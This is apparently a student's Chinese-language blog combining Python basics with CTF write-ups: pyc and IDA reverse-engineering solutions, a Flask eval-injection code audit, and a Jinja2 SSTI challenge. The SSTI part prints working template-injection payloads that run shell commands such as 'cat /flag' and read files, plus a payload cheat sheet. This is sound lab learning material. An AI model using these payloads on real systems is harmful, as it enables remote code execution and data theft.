0%

从零考试学习python内容 99%来自于python大神 python-jack的知乎文章 再结合本人的实际情况进行学习,严格来说这是JACK老师的内容,只不过再此基础上,我增添了一些我在CTF解题过程中遇到的python脚本实际情况,再次感谢JACK老师

学习的内容来自:https://zhuanlan.zhihu.com/p/113640664

从零开始学Python - 第003课:Python语言元素之变量

  • 整型(int):Python中可以处理任意大小的整数,而且支持二进制(如0b100,换算成十进制是4)、八进制(如0o100,换算成十进制是64)、十进制(100)和十六进制(0x100,换算成十进制是256)的表示法。

0

  • 浮点型(float):浮点数也就是小数,之所以称为浮点数,是因为按照科学记数法表示时,一个浮点数的小数点位置是可变的,浮点数除了数学写法(如123.456)之外还支持科学计数法(如1.23456e2)。
  • 字符串型(str):字符串是以单引号或双引号括起来的任意文本,比如'hello'"hello"
  • 布尔型(bool):布尔值只有TrueFalse两种值,要么是True,要么是False

变量命名

对于每个变量我们需要给它取一个名字,就如同我们每个人都有自己的名字一样。在Python中,变量命名需要遵循以下这些规则,这些规则又分为必须遵守的硬性规则和建议遵守的非硬性规则。

硬性规则:

  1. 变量名由字母、数字和下划线构成,数字不能开头。需要说明的是,这里说的字母指的是Unicode字符,Unicode称为万国码,囊括了世界上大部分的文字系统,这也就意味着中文、日文、希腊字母等都可以作为变量名中的字符,但是像!@#这些特殊字符是不能出现在变量名中的,而且我们强烈建议大家尽可能使用英文字母
  2. 大小写敏感,简单的说就是大写的A和小写的a是两个不同的变量。
  3. 变量名不要跟Python语言的关键字(有特殊含义的单词,后面会讲到)和保留字(如函数、模块等的名字)发生重名的冲突

非硬性规则:

  1. 变量名通常使用小写英文字母,多个单词用下划线进行连接。
  2. 受保护的变量用单个下划线开头(后面会讲到)。
  3. 私有的变量用两个下划线开头(后面会讲到)。

在Python中可以使用type函数对变量的类型进行检查。程序设计中函数的概念跟数学上函数的概念是一致的,数学上的函数相信大家并不陌生,它包括了函数名、自变量和因变量。如果暂时不理解这个概念也不要紧,我们会在后续的内容中专门讲解函数的定义和使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"""
使用type()检查变量的类型

Version: 0.1
Author: 骆昊
"""
a = 100
b = 12.345
c = 'hello, world'
d = True
print(type(a)) # <class 'int'>
print(type(b)) # <class 'float'>
print(type(c)) # <class 'str'>
print(type(d)) # <class 'bool'>

1

不同类型的变量可以相互转换,这一点可以通过Python的内置函数来实现。

  • int():将一个数值或字符串转换成整数,可以指定进制。

  • float():将一个字符串转换成浮点数。

  • str():将指定的对象转换成字符串形式,可以指定编码。

  • >>> ord('A')
    65
    >>> chr(66)
    'B'
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30

    - `chr()`:将整数转换成该编码对应的字符串(一个字符)。

    - `ord()`:将字符串(一个字符)转换成对应的编码(整数)。

    下面的例子为大家演示了Python中的类型转换。

    ```python
    """
    Python中的类型转换

    Version: 0.1
    Author: 骆昊
    """
    a = 100
    b = 12.345
    c = 'hello, world'
    d = True
    # 整数转成浮点数
    print(float(a)) # 100.0
    # 浮点型转成字符串 (输出字符串时不会看到引号哟)
    print(str(b)) # 12.345
    # 字符串转成布尔型 (有内容的字符串都会变成True)
    print(bool(c)) # True
    # 布尔型转成整数 (True会转成1,False会转成0)
    print(int(d)) # 1
    # 将整数变成对应的字符 (97刚好对应字符表中的字母a)
    print(chr(97)) # a
    # 将字符转成整数 (Python中字符和字符串表示法相同)
    print(ord('a')) # 97

2


拓展

如果知道字符的整数编码,还可以用十六进制这么写str

1
2
>>> '\u4e2d\u6587'
'中文'

要计算str包含多少个字符,可以用len()函数:

1
2
3
4
>>> len('ABC')
3
>>> len('中文')
2

在Python中,采用的格式化方式和C语言是一致的,用%实现,举例如下:

1
2
3
4
>>> 'Hello, %s' % 'world'
'Hello, world'
>>> 'Hi, %s, you have $%d.' % ('Michael', 1000000)
'Hi, Michael, you have $1000000.'

你可能猜到了,%运算符就是用来格式化字符串的。在字符串内部,%s表示用字符串替换,%d表示用整数替换,有几个%?占位符,后面就跟几个变量或者值,顺序要对应好。如果只有一个%?,括号可以省略。

3


从零开始学Python - 第004课:Python语言元素之运算符

4

说明: 上面这个表格实际上是按照运算符的优先级从上到下列出了各种运算符。所谓优先级就是在一个运算的表达式中,如果出现了多个运算符,应该先执行哪个运算再执行哪个运算的顺序。在实际开发中,如果搞不清楚运算符的优先级,可以使用圆括号来确保运算的执行顺序。

算术运算符

Python中的算术运算符非常丰富,除了大家最为熟悉的加减乘除之外,还有整除运算符、求模(求余数)运算符和求幂运算符。下面的例子为大家展示了算术运算符的使用。

1
2
3
4
5
6
7
print(321 + 123)     # 加法运算
print(321 - 123) # 减法运算
print(321 * 123) # 乘法运算
print(321 / 123) # 除法运算
print(321 % 123) # 求模运算 就是取余数运算
print(321 // 123) # 整除运算
print(321 ** 123) # 求幂运算

4

赋值运算符

赋值运算符应该是最为常见的运算符,它的作用是将右边的值赋给左边的变量。下面的例子演示了赋值运算符和复合赋值运算符的使用。

1
2
3
4
5
6
7
8
9
10
11
"""
赋值运算符和复合赋值运算符

Version: 0.1
Author: 骆昊
"""
a = 10
b = 3
a += b # 相当于:a = a + b
a *= a + 2 # 相当于:a = a * (a + 2)
print(a) # 算一下这里会输出什么

比较运算符和逻辑运算符

比较运算符有的地方也称为关系运算符,包括==!=<><=>=,我相信没有什么好解释的,大家一看就能懂,需要提醒的是比较相等用的是==,请注意这里是两个等号,因为=是赋值运算符,我们在上面刚刚讲到过,==才是比较相等的运算符;比较不相等用的是!=,这不同于数学上的不等号,Python 2中曾经使用过<>来表示不等关系,大家知道就可以了。比较运算符会产生布尔值,要么是True要么是False

逻辑运算符有三个,分别是andornotand字面意思是“而且”,所以and运算符会连接两个布尔值,如果两个布尔值都是True,那么运算的结果就是True;左右两边的布尔值有一个是False,最终的运算结果就是False。相信大家已经想到了,如果and左边的布尔值是False,不管右边的布尔值是什么,最终的结果都是False,所以在做运算的时候右边的值会被跳过(短路处理),这也就意味着在and运算符左边为False的情况下,右边的表达式根本不会执行。or字面意思是“或者”,所以or运算符也会连接两个布尔值,如果两个布尔值有任意一个是True,那么最终的结果就是True。当然,or运算符也是有短路功能的,在它左边的布尔值为True的情况下,右边的表达式根本不会执行。not运算符的后面会跟上一个布尔值,它的作用是得到与该布尔值相反的值,也就是说,not后面的布尔值如果是True,运算结果就是False;而not后面的布尔值如果是False,运算结果就是True

文件链接:https://pan.baidu.com/s/1J5GGnntQkN8IWD0hKs-X8g
提取码:hvn1

知识点串烧 🍖


0x01 将pyc文件解密成python文件

0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1) //l获得输入的长度
for i in range(l): //对每个输入进行遍历
num = ((input1[i] + i) % 128 + 128) % 128 // 有关取模,由于(a%c+b%c)%c=(a+b)%c,所以num 等价于 (input1[i] + i) % 128
code += num

for i in range(l - 1):
code[i] = code[i] ^ code[i + 1] //前值和后值通过异或赋值给前面的一位

print code
code = [
'\x1f',
'\x12',
'\x1d',
'(',
'0',
'4',
'\x01',
'\x06',
'\x14',
'4',
',',
'\x1b',
'U',
'?',
'o',
'6',
'*',
':',
'\x01',
'D',
';',
'%',
'\x13']

0x02 解读加密过程

第一个

1
2
for i in range(l - 1):
code[i] = code[i] ^ code[i + 1]
  • codel-1 位置不会修改,而且正向赋值 code[i] 不会修改 code[i+1] ,而且需要保证 code[i+1] 一直是原始值

  • 最简单的逆向异或式子

1
2
3
4
A ^ A =0
A ^ 0 =A
所以: A ^ A ^ B = B

  • 不难得到, code[i] = code[i] ^ code (i+1) 的正向运行结果
  • 逆向的 code[i] = code[i] ^ code (i+1) 等于 code[i] = code[i] ^ code (i+1) ^ code (i+1)
  • 也就是 code[i] = code[i] ^ code (i+1) 。所以我们只要要倒序枚举,使用 code[i] = code[i] ^ code (i+1) 算出每一个 code[i] 原来的值

第二个

1
2
3
for i in range(l):
num = ((input1[i] + i) % 128 + 128) % 128
code += num

emm去模,由于(a%c+b%c)%c=(a+b)%c,所以num 等价于 (input1[i] + i) % 128


0x04 构造逆向反加密脚本

1
2
3
4
5
6
7
8
9
10
11
code = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']

flag = ''

for i in range(len(code)-2, -1, -1):
code[i]=chr(ord(code[i])^ord(code[i+1]))

for i in range(len(code)):
flag+=chr((ord(code[i])-i)%128)

print(flag)

1

1
GWHT{Just_Re_1s_Ha66y!}

有点意思的一道代码审计题

先简单串烧一下一些基本知识点


python文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
return '*********************' # censored


def trigger_event(event): //trigger_event:标识触发事件,取值为 INSERT、UPDATE 或 DELETE;
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack


class RollBackException:
pass


def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp


@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html


def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')


def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])


def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume


def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')


0X01 开始代码审计 😓

  • 首先我们从路由入手,然后我们慢慢去看它调用了哪些函数,这里只用了一个路由

1

2

  • 当我们看到第81行就知道,querystring = urllib.unquote(request.query_string) 接收url? 后面的所有的值,然后进行url编码,传入参数querystring

3

接着有个判断条件

1
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100
  • 结合上面,如果没有传递任何参数为空或者不是以action开头
1
(not querystring.startswith('action:')
  • 又或者上传参数长度大于100
1
or len(querystring) > 100
  • 那么就会进入条件判断语句,强化初始化参数
1
querystring = 'action:index;False#False'

后面的内容就是我们买钻石的网站,我们先盲猜一下 num_items 是我们买东西的清单,如果我们什么都没买,就是初始化session中的列表

1
2
3
session['num_items'] = 0
session['points'] = 3
session['log'] = []

从现在来看,之前的一切都是在为我们买东西做准备,接收了我们的参数以后,如果我们没有买东西,就是我们初步登录的这个界面,将我们一切东西初始化。重点是下面三个

4


request.prev_session = dict(session) 这把刚刚初始化的session用字典的形式传给了这个参数到了90行,我们看到了一个函数 trigger_event ,我们在vscode上面跟进这个函数

5

可以看到,实际上**trigger_event的形参event** 就是我们刚刚获得url?后面的字符串 querystring 。并且将它加入到

session['log'] 这个日志

问题来了,下面两个if语句,是什么意思呢?

  • 第一个

    7

举个例子6 ,也就是要后面5个,前面都不要了

  • 第二个

8

如果我们刚刚传入的参数也就是url?后面的字符串是列表类型,就合并。这两个列表 request.event_queue 和 **event**合并在一起。可能有人会问 request.event_queue 是什么,就在前面才定义 😢

9

这个时候,你也许会问,它之前在路由定义的,现在函数里面能用吗?可以,因为它是全局变量,即使函数没有声明,也可以使用。 * 顺便说一下,列表也是可以合并的,a=[1,5] b=[3,4,5] a+b=[1,3,4,5,5] *

如果没有进行第二个if条件判断,就执行 request.event_queue.append(event) 加入到这个列表当中。


这个时候我们来看91行的return返回函数 return execute_event_loop() ,我们在vscode上面跟进函数

10

首先初始化设置了两个参数

1
2
3
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None

进入while循环吗,我们再来想一下request.enent_queque是什么东西?

11

也就是我们url?后面的字符串,加入到这个列表中。以后不会再重复了


while循环一进来就是这个

12

就是将我们刚刚输入的字符串的列表第一个赋值给 event ,然后删除了第一个值,因为第一个值已经给了 event ,然后删除了第一个值,因为第一个值已经给了 event ,没必要留着

13

if not event.startswith(('action:', 'func:')):

如果我们第一个字符串开头不是 action func ,就进入if判断语句继续。下一个for循环一次检验 event 中有没有字符,,可能有人忘了 valid_event_chars: 是什么…

14


重点来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

这个开头 is_action = event[0] == 'a' 作用是什么,我们还不知道,先放着

下面两个我们可以看到有同一个函数 get_mid_str

​ ** action = get_mid_str(event, ':', ';') **

args = get_mid_str(event, action+';').split('#')

在vscode里面跟进这个函数

15

这个函数的大概作用是

16

action 是由实际作用,因为 **eval ** 函数会用到,args函数不知道有啥用,大佬的wp是:返回列表到args里,所以很明显,我们上传的参数就是action开头,才能上传过来

大佬的wp更直观

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

def ACTION_handler():pass

event = 'action:ACTION;ARGS0#ARGS1#ARGS2'
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
print '[!] action:',action
args = get_mid_str(event, action+';').split('#')
print '[!] args:',args
event_handler = eval(action + ('_handler' if is_action else '_function'))
print '[!] event_handler:',event_handler

看到第九行我们的event是这个样子,我们运行会得到什么?

1
2
3
[!] action: ACTION
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <function ACTION_handler at 0x00000000035A4B38>

event_handler 函数就是用 eval 拼接,从而得到了处理函数, eveal ** 函数的本质就是将字符串str当成有效的表达式来求职并且返回计算结果,程序过滤了大部分的特殊符号,导致我们不能随意使用代码注入,不过由于 ARGS 使用 # 进行分割,而# ** 在python代码中是注释符,在 action 中加入#,可以把后面的 _handler 注释掉。上面的代码用 event = 'action:str#;ARGS0#ARGS1#ARGS2' 进行测试

1
2
3
[!] action: str#
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <type 'str'>

其他没啥分析,我们找到可以控制的点

我们去找找如何得到falg(因为我们有eval执行函数)

我们看到FLAG函数是不带参数

17

现在,我们可以控制 event_handler 运行指定的函数,不过还有一个问题是FLAG()函数是不带参数,而 args 为**list** ,直接传入 action:FLAG ,将产生报错

为什么其他参数不行?

18

这里是参数args的

那么没办法,只好分析源码,我们发现 show_flag_function 是没办法得到falg,因为return flag 被注释掉了,只是将它放到flag中。想要得到flag只能用**get_flag_handler()**可以得到flag,而得到flag的条件是是 if session['num_items'] >= 5: ,于是我们进入题目界面,去买钻石💎,发现最多买3个,不能买5个以及5个以上。我们看一下买钻石的函数

19

发现存在逻辑漏洞:就是我们的钱无论够不够,它都会给我们先加上,然后扣掉

我们发现第148行,无论我们的钱够不够,都先给我们加上,之后再扣掉

若让 eval() 去执行 trigger_event() ,并且在后面跟两个命令作为参数,分别是 buyget_flag ,那么**buy**和 **get_flag **便先后进入队列。

根据顺序会先执行 buy_handler() ,此时 consume_point 进入队列,排在 get_flag 之后,我们的目标达成。


我们构造plyadload

1
2
action:trigger_event%23;action:buy;5%23action:get_flag;

23

我们把得到的session放到KALI里面的flask-session-cookie-manager-master进行解密

1
python3 flask_session_cookie_manager3.py decode -c 'session'

24

25

func:show_flag;flag{d07646de-b436-4966-ad68-fd2fc9d9764f} ❣️ ❣️ ❣️ ❣️ ​

看了一下最近自己博客更新速度(大二)和自己打比赛的状况,三个字来概括就是“很差劲”。打比赛很多题还是不会,感觉真的没有在认真学,内心非常浮躁,没有对紧迫时间的敬畏。真的必须规定自己每天至少一道web或者python,总结题目的时间至少在两个小时以上才行

链接:https://pan.baidu.com/s/15ojPMVsasx3EZ9s5wVQqEw
提取码:icjp

0x01 使用EFPE查看文件

1

没有加壳,64位文件

0x02 使用IDA打开文件,查看main函数,F5反编译

3

0x03 查看 Decry()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
__int64 Decry()
{
char *v0; // rax@1
char v2; // [sp+Fh] [bp-51h]@19
int v3; // [sp+10h] [bp-50h]@1
signed int v4; // [sp+14h] [bp-4Ch]@1
signed int i; // [sp+18h] [bp-48h]@1
signed int v6; // [sp+1Ch] [bp-44h]@1
char src[8]; // [sp+20h] [bp-40h]@1
__int64 v8; // [sp+28h] [bp-38h]@1
int v9; // [sp+30h] [bp-30h]@1
__int64 v10; // [sp+40h] [bp-20h]@1
__int64 v11; // [sp+48h] [bp-18h]@1
int v12; // [sp+50h] [bp-10h]@1
__int64 v13; // [sp+58h] [bp-8h]@1

v13 = *MK_FP(__FS__, 40LL);
*(_QWORD *)src = 357761762382LL; //选中之后H键转换16进制为0x534C43444ELL,数据在内存中是小端顺序,高位在高地址处,低位在低地址处,故实际的字符顺序应为'0x4e44434c53'经过16字符转换为ASCII码转换后字符为'NDCLS'
                      
v8 = 0LL;
v9 = 0;
v10 = 512969957736LL; //同上,转换后查询Ascii码为"wodah"
v11 = 0LL;
v12 = 0;
LODWORD(v0) = join(key3, &v10); //在main页面v3='kills',v10=’wodah‘,这个函数就是把v3和v10两个字符串相拼接'killshadow'
text = v0;
strcpy(key, key1); //strcpy函数就是让key1的值('ADSFK')赋予key
strcat(key, src); //strcat函数就是让src的值拼接到key后面也就是'ADSFKNDCLS'
v3 = 0;
v4 = 0;
getchar(); //清空缓冲区
v6 = strlen(key); //v6的长度等于key,v6=10
for ( i = 0; i < v6; ++i )
{
if ( key[v4 % v6] > 64 && key[v4 % v6] <= 90 ) //将大写字母转换为小写字母
key[i] = key[v4 % v6] + 32; //’adsfkndcls‘
++v4;
}
printf("Please input your flag:", src);
while ( 1 )
{
v2 = getchar();
if ( v2 == 10 )
break;
if ( v2 == 32 )
{
++v3;
}
else
{
if ( v2 <= 96 || v2 > 122 ) //如果输入的v2不是小写字母
{
if ( v2 > 64 && v2 <= 90 ) //如果v2为大写字母
str2[v3] = (v2 - 39 - key[v4++ % v6] + 97) % 26 + 97; //对srt[v3]进行处理(v3为0每次加1)//// str1[v3] = (v2-key[v4]+58)%26 + 97//变换后str2[v3]存放小写字母
}
else
{
str2[v3] = (v2 - 39 - key[v4++ % v6] + 97) % 26 + 97; //同样处理
}
if ( !(v4 % v6) )
putchar(32);
++v3;
}
}
if ( !strcmp(text, str2) ) //如果text和存储的str2相同,就成功·
puts("Congratulation!\n"); //text = ""killshadow"
else
puts("Try again!\n");
return *MK_FP(__FS__, 40LL) ^ v13;
}

分析代码以及相应的值,我们已经可以知道text以及key的值,剩下就是str2,str2就是我们想要的flag

得到flag的条件关键在于式子str2[v3] = (v2 - 39 - key[v4++ % v6] + 97) % 26 + 97

0x04 构造playload爆破

1
2
3
4
5
6
7
8
9
text = 'killswodah'
key = 'adsfkslcdn'
flag = ''
for i in range(len(key)):
for j in range(65,122):
if ord(text[i]) == (j - 39 - ord(key[i % 10]) + 97) % 26 + 97:
flag += chr(j)
break
print(flag)

flag{KLDQCOZFDU}

链接:https://pan.baidu.com/s/1hoU9 uQsSeGr-6p7RBSm56w
提取码:ed2z

0x01 查看有无加壳

1

没有加壳,64位文件

0x02 打开IDA64,查看main函数,F5反编译

2

3

0x03 进入patch_me函数,接着进入get_flag函数界面

4

5

0x04 进行代码分析 😞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 get_flag()
{
unsigned int v0; // eax@1
signed int i; // [sp+4h] [bp-3Ch]@1
signed int j; // [sp+8h] [bp-38h]@7
__int64 s; // [sp+10h] [bp-30h]@3
char v5; // [sp+18h] [bp-28h]@6
__int64 v6; // [sp+38h] [bp-8h]@1

v6 = *MK_FP(__FS__, 40LL);
v0 = time(0LL); //得到时间
srand(v0); //使用时间作为种子生成随机数字
for ( i = 0; i <= 4; ++i )
{
switch ( rand() % 200 ) // 产生1-199之间的随机数
{
case 1:
puts("OK, it's flag:");
memset(&s, 0, 0x28uLL);
strcat((char *)&s, f1); // f1='GXY{do_not_'
strcat((char *)&s, &f2); //f2初始为空
printf("%s", &s);
break;
case 2:
printf("Solar not like you");
break;
case 3:
printf("Solar want a girlfriend");
break;
case 4:
v5 = 0;
s = 9180147350284624745LL; //在IDA里面选中9180147350284624745LL按H键转换16进制为0x69,0x63,0x75,0x67,0x60,0x6f,0x66,0x7f
strcat(&f2, (const char *)&s); //f2和s拼接
break;
case 5:
for ( j = 0; j <= 7; ++j )
{
if ( ((((unsigned int)((unsigned __int64)j >> 32) >> 31) + (_BYTE)j) & 1)
- ((unsigned int)((unsigned __int64)j >> 32) >> 31) == 1 )
*(&f2 + j) -= 2;
else
--*(&f2 + j);
}
break;
default:
puts("emmm,you can't find flag 23333");
break;
}
}
return *MK_FP(__FS__, 40LL) ^ v6;
}

6

分析可知flag是由f1f2组成,f1已经告诉,现在只需要求f2就行。

  • case4给f2赋值

  • case5对f2进行处理

swich函数需要排序和,因此顺序是: case5>case4>case1

0x05 脚本构建 🍔

由于IDA是反编译C语言,s=0x69,0x63,0x75,0x67,0x60,0x6f,0x66,0x7f应该逆序成s = 0x7F666F6067756369LL作为小端储存,关于大小端推荐师傅的**文章**

1
2
3
4
5
6
7
8
9
10
11
flag = 'GXY{do_not_'
f2 = [0x7F, 0x66, 0x6F, 0x60, 0x67, 0x75, 0x63, 0x69][::-1]
s = ''
for i in range(8):
if i % 2 == 1:
s = chr(int(f2[i]) - 2)
else:
s = chr(int(f2[i]) - 1)
flag += s
print(flag)

7

1
GXY{do_not_hate_me}

0X01 打开靶机

1

发现无论输入什么字符他都不会过滤(xss除外 ),在输出界面找到ssti注入的提示

3

0X02 直接用ssti日就对了!🤠

  • 查看根目录
1
2
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

4

ls后台文件出现flag

  • 构造playload,查看flag
1
2
3

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

1
P3's girlfirend is : flag{4d59689e-7751-4ee4-8daa-f4d8c8de99e2}

SSTI学习🇭🇺

像上面的题目的套路一般直接找playload注入

  • 常用playload:

1
2
3
命令执行:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} 

文件操作:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

萌新入门ssti必看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
测试是否存在ssti注入 {{1+1}}  #回复页面为2说明存在ssti注入
查询: {{''.__class__}}
查看可用模块: {{().__class__.__bases__[0].__subclasses__()}}
查找危险函数: {{().__class__.base__.__subclasses__().index(warnings.catch_warnings)}}

相关函数解释
__class__ 返回类型所属的对象

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块



还是太菜了

0X01 打开靶机地址,使用Dirsearch进行扫描查看子目录

  • Dirsearch扫描网站子目录命令 🍖
1
python dirsearch.py -u URL -e.php 
  • 在URL后面添加扫面的子目录,只要robots.txt有些提示,提示如下(然并软 😓 )
1
It is Android ctf

0X02 使用BP进行抓包

没有任何线索

想起了页面的提示 Double Secret重新构建URL

0X03 重新构造URL

1
http://1e053da9-5f6a-4ffb-a109-4bbcaf0695d8.node3.buuoj.cn/secret

1

  • 根据提示,我们double一下

2

  • 我们发现在"secret="后,后面添加不同数字就会产生不同的数值。(这个时候我们的思路大致是SQL,flask,PHP伪协议)💇

0X04 经过验证,无法使用php伪协议,SQL注入拿到flag,我们试一试flask(后面页面的内容也证实了我们的观点)

1. 先随便输入几个字符串

3

2. 代码如下(暗示得非常明显了 🐹 )

1
2
3
4
5
6
7
8
9
10
11
12
if(secret==None)
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
return a


3. 进行代码审计🐺

1
2
3
4
5
6
7
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1799, in dispatch_request
return self.view_functions[rule.endpoint](**req.view_args)
File "/app/app.py", line 35, in secret
if(secret==None): #如果secret为空
return 'Tell me your secret.I will encrypt it so others can\'t see' #返回这句话
